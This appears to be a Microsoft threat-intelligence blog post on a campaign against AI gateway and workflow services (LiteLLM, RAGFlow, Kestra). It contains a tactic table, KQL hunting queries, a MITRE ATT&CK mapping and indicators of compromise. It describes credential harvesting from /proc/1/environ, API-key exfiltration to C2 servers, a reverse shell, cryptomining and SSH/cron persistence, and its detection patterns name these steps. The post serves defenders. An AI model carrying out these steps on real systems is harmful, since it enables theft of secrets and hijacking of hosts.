TacticObserved activityMicrosoft Defender coverageInitial AccessExploitation of internet-exposed AI workload surfaces, including model gateway, retrieval, and workflow orchestration services reachable without network restriction.Microsoft Defender for Endpoint
– Suspicious shell execution from an AI workload process
– Suspicious shell execution from a scripting application runtimeCredential AccessLiteLLM: reads of /proc/1/environ and the model-config table to harvest provider API keys and the database connection string.

RAGFlow: TenantLLM.insert() monkey-patched to intercept provider API keys (OpenAI, Azure, Anthropic, Gemini) on every LLM configuration event, exfiltrated to a secondary C2 endpoint.

Kestra: Docker socket used to enumerate container Config.Env arrays across all running containers, collecting embedded cloud, database, and API secrets.Microsoft Defender for Endpoint
– Suspicious process collected data from local system
– Suspicious file copy operations Enumeration of files with sensitive dataExecution & Defense EvasionLiteLLM: second-stage binary dropped to /tmp and executed under names impersonating system services and daemons.

RAGFlow: base64-encoded Python payloads decoded and written to /tmp, executed sequentially to discover the RAGFlow install, inject a persistence hook, and verify implant success — fully automated with no interactive shell.

Kestra: malicious workflow submitted via the pipeline API caused the Java worker to spawn a bash reverse shell; XMRig was downloaded, unpacked, and renamed to evade name-based detection.Microsoft Defender for Endpoint
– Hidden file executed
– Suspicious process launched from a world-writable directory
– Suspicious path deletion
– Suspicious file dropped and launched
– Suspicious shell command execution
– Suspicious piped command launched
– Executable permission added to file or directory
Possible reverse shell
– Suspicious Python command-line execution\
– Suspicious script launched
– Process launched in the background
– Suspicious file or information obfuscation detected
– Suspicious deletion of launched process binary
– Suspicious shell execution from a scripting application runtimeImpact (Resource Hijacking)LiteLLM: trojanized runtime binary maintained persistent access enabling ongoing credential and compute abuse.

RAGFlow: every LLM API key configured after infection silently exfiltrated, enabling unauthorized use of provider accounts at the attacker’s direction.

Kestra: XMRig v6.26.0 launched with RandomX MSR tuning toward a Monero mining pool, consuming host CPU for attacker profit.Microsoft Defender for Endpoint
– Possible coin mining activity
– Trojan:Linux/CoinMiner!rfn

Microsoft Defender for Cloud
– Digital currency mining activityPersistenceLiteLLM: SSH key written to a service account, cron entries created, and payload directories made immutable with chattr +i to resist cleanup.

RAGFlow: api/__init__.py backdoored to load a hidden hook file on every service start, surviving container restarts. SSH key planted in the container.

Kestra: miner launched with nohup to survive shell exit; follow-on harvest.sh collected and stored host data through the Kestra KV API.Microsoft Defender for Endpoint
– Suspicious addition of an SSH key;
– Suspicious cron job creation;
– Suspicious kernel module loadedCommand and ControlLiteLLM: outbound beacons to raw-IP infrastructure on port 81, sslip.io DNS rebinding to bypass reputation checks, and OAST callbacks to yosemite[.]jp, gobygo[.]net, and oast[.]me/pro/fun.

RAGFlow: SSRF probing to shared scanning infrastructure in phase 1; API key exfiltration to a separate C2 endpoint in phase 2.
Kestra: interactive reverse shell to a Linode VPS; sustained mining pool connections to auto.c3pool[.]org.Microsoft Defender for Endpoint
– Suspicious communication with a remote target;
– Suspicious file or content ingress.
– Suspicious connection to cryptocurrency mining pool Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation: correlate gateway process, credential-access, mining, and persistence signals into a single timeline and surface the provider keys that may have been exposed.
• Microsoft user analysis: assess accounts and service principals whose credentials the gateway could have exposed.

Advanced hunting queries

Microsoft Defender XDR customers can use these Advanced hunting queries to identify behaviors associated with this intrusion across Linux workloads and AI gateway environments. Each query focuses on a specific detection objective and is designed to help analysts validate suspicious activity, pivot across related process and network telemetry, and prioritize results that combine gateway-originated execution, secret access, payload staging, persistence, or outbound communication. Tune the queries for known administrative activity and approved gateway maintenance in your environment.

When reviewing results, prioritize events where a gateway process launches a shell, downloader, interpreter, or system utility; where command lines reference /proc/1/environ, LiteLLM database tables, provider keys, or PostgreSQL libraries; and where outbound traffic reaches raw-IP infrastructure or out-of-band callback domains. Matches that combine gateway ancestry, secret-access terms, and outbound communication should be treated as higher confidence.

AI gateway process spawning shells, downloaders, or interpreters

This query looks for a LiteLLM gateway process launching execution utilities that are not expected for normal model-routing activity. In this intrusion, that relationship was the earliest high-value pivot: the gateway runtime became the parent process for shell commands, Python one-liners, downloaders, secret discovery, and follow-on payload execution.

// Low-FP pivot: AI gateway parent process spawning execution utilities. DeviceProcessEvents | where isnotempty(ProcessCommandLine) and isnotempty(InitiatingProcessCommandLine) | extend ParentCmd = tolower(InitiatingProcessCommandLine), Cmd = tolower(ProcessCommandLine) | where ParentCmd has_any ("litellm", "litellm-proxy", "litellm_proxy", "ragflow", "kestra") | where FileName in~ ("bash", "sh", "dash", "curl", "wget", "python", "python3") | where Cmd has_any ("/proc/1/environ", "database_url", "psycopg2", "urllib.request", "urlretrieve", "base64") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId | sort by Timestamp asc Direct access to container environment variables

This query detects command-line access to /proc/1/environ, a high-signal behavior in containerized services where the main process often runs as PID 1. For an AI gateway, this environment can contain model-provider API keys, the gateway master key, database connection strings, UI passwords, and other secrets.

// High-signal secret access in containerized services. DeviceProcessEvents | where isnotempty(ProcessCommandLine) | extend Cmd = tolower(ProcessCommandLine) | where Cmd contains "/proc/1/environ" | where FileName in~ ("cat", "bash", "sh", "python", "python3", "grep") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId | sort by Timestamp asc LiteLLM-specific secret and configuration discovery

This query narrows secret-discovery hunting to LiteLLM-specific context before matching sensitive terms. That structure reduces noise from generic words such as key, token, and password, while still surfacing command lines that reference LiteLLM proxy tables, virtual keys, provider configuration, or database material.

// Hunt for command lines that combine LiteLLM context with secret-related terms. // This helps reduce false positives from generic credential keywords. DeviceProcessEvents | where isnotempty(ProcessCommandLine) | extend Cmd = tolower(ProcessCommandLine) | where Cmd has_any ( "litellm", "litellm_proxymodeltable", "litellm_verificationtoken", "proxymodeltable", "verificationtoken" ) | where Cmd has_any ( "secret", "token", "key", "password", "master", "database_url", "postgres", "psycopg2", "psycopg2-binary" ) | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath | sort by Timestamp asc Python-based database credential discovery

This query hunts for Python execution that references database connection material or PostgreSQL client libraries. In the observed attack chain, Python was used to parse DATABASE_URL, install or import PostgreSQL support, and access LiteLLM-backed database tables containing model configuration and virtual-key material.

// Hunt for Python activity associated with database credential discovery or use. // Pivot from matches to parent process, network connections, and any package-install activity. DeviceProcessEvents | where isnotempty(ProcessCommandLine) | extend Cmd = tolower(ProcessCommandLine) | where Cmd has_any ("python", "python2", "python3") | where Cmd has_any ( "database_url", "postgres", "postgresql", "psycopg2", "psycopg2-binary" ) | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath | sort by Timestamp asc Shell-based secret discovery with text-processing tools

This query looks for common Linux text-processing utilities used to search environment files, application configuration, or LiteLLM-related material for secrets. It requires three signals: a discovery utility, a relevant target, and a sensitive keyword, making it more precise than broad keyword searches alone.

// Hunt for shell utilities searching for secrets in environment or configuration data. // Higher confidence results combine a discovery tool, a relevant target, and a secret keyword. DeviceProcessEvents | where isnotempty(ProcessCommandLine) | extend Cmd = tolower(ProcessCommandLine) | where Cmd has_any ("grep", "egrep", "fgrep", "awk", "sed", "cat", "strings") | where Cmd has_any ("litellm", "database_url", "environ") or Cmd contains "/proc/1/environ" or Cmd contains ".env" | where Cmd has_any ("secret", "token", "key", "password", "master", "postgres") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath | sort by Timestamp asc Combined high-signal secret-discovery triage

This combined query is useful for triage dashboards or incident review because it labels each result with a detection reason. Analysts can use the DetectionReason field to quickly separate direct environment access, LiteLLM-specific secret discovery, Python database credential access, and shell-based searching.

// Combined triage query using only high-confidence secret-discovery signals. DeviceProcessEvents | where isnotempty(ProcessCommandLine) | extend Cmd = tolower(ProcessCommandLine) | extend DetectionReason = case( Cmd contains "/proc/1/environ", "Direct access to PID 1 environment variables", Cmd has_any ("litellm", "litellm_proxymodeltable", "litellm_verificationtoken", "proxymodeltable", "verificationtoken") and Cmd has_any ("database_url", "postgres", "psycopg2", "master", "secret", "token", "password"), "LiteLLM-related secret or database discovery", FileName in~ ("python", "python2", "python3") and Cmd has_any ("database_url", "postgres", "postgresql", "psycopg2", "psycopg2-binary"), "Python-based database credential discovery", "") | where DetectionReason != "" | project Timestamp, DeviceName, AccountName, FileName, DetectionReason, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId | sort by Timestamp asc Second-stage payload retrieval and masqueraded execution

This query identifies the payload-delivery pattern observed after gateway execution: raw-IP retrieval, staging under /tmp, and execution with supervisord-style arguments or bridge-related environment values. Review matches for masquerading, unexpected executable files in world-writable paths, and parentage from the gateway process.

// Hunt for staged payload execution and supervisord-style masquerading. // Focus on /tmp execution, bridge variables, and known payload path fragments. DeviceProcessEvents | where isnotempty(ProcessCommandLine) | where ProcessCommandLine has_any ("/private/python3", "/anonymus/bins_s", "BRIDGE_STANDALONE", "PORT") or (FolderPath == "/tmp/python3" and ProcessCommandLine has "supervisord") | project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId | sort by Timestamp asc Crypto mining preparation through MSR write access

This query hunts for attempts to load the Linux msr kernel module with write access enabled. That behavior is strongly associated with performance tuning for RandomX/XMRig mining and is unusual on most production servers unless explicitly approved for low-level performance testing.

// Hunt for MSR write access often used to optimize RandomX/XMRig mining. // Validate whether the host has any legitimate reason to load msr with allow_writes. DeviceProcessEvents | where isnotempty(ProcessCommandLine) | where ProcessCommandLine has_all ("modprobe", "msr", "allow_writes") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId | sort by Timestamp asc Persistence, hidden relay execution, and defense evasion

This query groups the persistence and defense-evasion behaviors observed in the intrusion: hidden-file relaunch from /tmp, cron manipulation, SSH authorized-key modification, and immutable-flag changes. These signals should be reviewed with process ancestry and file-write events to identify the account and payload responsible for durable access.

// Hunt for persistence and defense-evasion activity used to keep the payload running. // Review matches for service-account abuse, hidden /tmp execution, and cleanup resistance. DeviceProcessEvents | where isnotempty(ProcessCommandLine) | where (ProcessCommandLine contains "exec /tmp/." and ProcessCommandLine contains "-c /tmp/.") or (ProcessCommandLine contains "crontab" and ProcessCommandLine contains "grep -v") or ProcessCommandLine has "chattr" or (ProcessCommandLine has "authorized_keys" and ProcessCommandLine contains ">>") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath | sort by Timestamp asc Outbound communication to known campaign infrastructure

This query hunts for connections to infrastructure directly tied to the observed campaign. To reduce false positives, it focuses on known campaign domains/IPs and execution tools commonly used in the attack chain.

// Known campaign infrastructure only (low-FP network pivot). DeviceNetworkEvents | extend RU = tolower(RemoteUrl), RIP = tostring(RemoteIP) | where RU has_any ("yosemite.jp", "gobygo.net", "auto.c3pool.org", "45.150.109.151.sslip.io") or RIP in ("45.150.109.151", "135.125.10.56", "172.232.38.92", "47.86.197.116", "2001:41d0:701:1100::adfd") | where InitiatingProcessFileName in~ ("bash", "sh", "dash", "python", "python3", "curl", "wget", "nohup") | project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort | sort by Timestamp asc

For higher-confidence triage, correlate these results across time and telemetry types. A single match may represent administrative activity, but the combination of gateway-originated execution, secret access, database-focused Python, payload staging in /tmp, MSR tuning, persistence attempts, and outbound callbacks should be investigated as a potential end-to-end compromise path.

MITRE ATT&CK techniques observed TacticTechniqueObserved activityInitial AccessT1190 Exploit Public-Facing ApplicationAbuse of the internet-exposed LiteLLM gateway runtimeExecutionT1059 Command and Scripting Interpreterpython3 -c one-liners and shell scripts launched from the gateway processCredential AccessT1552.001 Unsecured Credentials: Credentials in FilesHarvest of provider API keys from /proc/1/environ and the LiteLLM model-config tableDiscoveryT1057 Process Discovery / T1518 Software Discoverypgrep sweeps for rival miners and enumeration of PostgreSQL config filesDefense EvasionT1036.005 Masquerading / T1564.001 Hidden Files and DirectoriesPayloads named after system daemons, executed from hidden /tmp filesImpactT1496 Resource HijackingCryptomining with MSR tuning and competing-miner evictionPersistenceT1098.004 SSH Authorized Keys / T1053.003 CronService-account SSH key and cron entries for durable accessDefense EvasionT1222.002 Linux File and Directory Permissions Modificationchattr +i immutable flags on payload directories to resist cleanupCommand and ControlT1071.001 Application Layer Protocol / T1095 Non-Application Layer ProtocolHTTP beacons to raw-IP infrastructure, exfil to yosemite[.]jp, and OAST callbacks Indicators of compromise Network indicators IOCTypeRole45.150.109[.]151IPv4Scanning/recon infrastructure – multiple targeted AI workloads135.125.10[.]56:19888IPv4:portRAGFlow exploitation C2 — LLM API key exfiltration endpoint172.232.38[.]92:32991IPv4:portKestra reverse shell C2 (Linode VPS)45.150.109.151.sslip[.]ioDomainDNS rebinding used in LiteLLM attacks to evade domain reputation checksauto.c3pool[.]org:443Domain:portXMRig Monero mining pool (Kestra)2001:41d0:701:1100::adfdIPv6c3pool mining endpoint (Kestra)47.86.197[.]116IPv4c3pool mining endpoint (Kestra)yosemite[.]jpDomainC2/exfiltration endpoint — LiteLLM credential harvesting (OAST + recv.php)gobygo[.]netDomainC2 beacon infrastructure — subdomain-encoded LiteLLM beaconsoast[.]me / oast[.]pro / oast[.]funDomainsOut-of-band callback domains — execution confirmation and credential exfiltration (LiteLLM)194.213.18[.]133IPv4Attacker-controlled mail MX / mail infrastructure File indicators File / PathSHA256Notes/tmp/d (ELF binary)f64b88e9318bdf23f2dd119a0ce1dd1bdb3c8cd2e0e1e23ba3ef2e19072b79ccLiteLLM #2 — unknown ELF; not on VirusTotalXMRig cryptominer49fdcf32bfe837899a84e8938f0d07ae96ddd218a280a09eb60df8d64597bd8fLiteLLM — XMRig binaryXMRig cryptominer3af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42LiteLLM — XMRig binary (variant)Installer / bridge script3d24ac736635e0fa0c5c459c9e18ca09d1ec9a1751a4503130934395609bd7e0LiteLLM — drops /tmp/python3 and launches supervisord bridge References

• CVE-2026-42271: LiteLLM MCP command-execution vulnerability, NVD entry

• LiteLLM: Authenticated command execution via MCP stdio test endpoints, GitHub advisory
• LiteLLM: Proxy security, virtual keys, and key management documentation
• Horizon3.ai: CVE-2026-42271 chained with CVE-2026-48710 unauthenticated RCE

• CISA: Adds Two Known Exploited Vulnerabilities to Catalog

• Microsoft: Taking legal action to protect the public from abusive AI-generated content
• Microsoft: Disrupting a global cybercrime network abusing generative AI
  
• CVE-2026-48710: Starlette host-header validation bypass, CVE record
• CVE-2026-45312: RAGFlow prompt-generator server-side template injection, CVE record
• CVE-2026-28797: RAGFlow Agent workflow server-side template injection, CVE record
• CVE-2026-24770: RAGFlow MinerU parser path-traversal vulnerability, CVE record
• CVE-2025-68700: RAGFlow Canvas CodeExec sandbox-bypass vulnerability, CVE record
• GHSA-8xw3-v6c2-j84j: RAGFlow Canvas CodeExec sandbox-bypass advisory
• CVE-2025-69286: RAGFlow account-access weakness, CVE record
• CVE-2026-49869: Kestra authentication-bypass vulnerability, CVE record
• Microsoft Learn: Create prompts in Microsoft Security Copilot

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Learn more about securing Copilot Studio agents with Microsoft Defender 
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation

The post When AI infrastructure becomes the target: Securing gateways and control points appeared first on Microsoft Security Blog.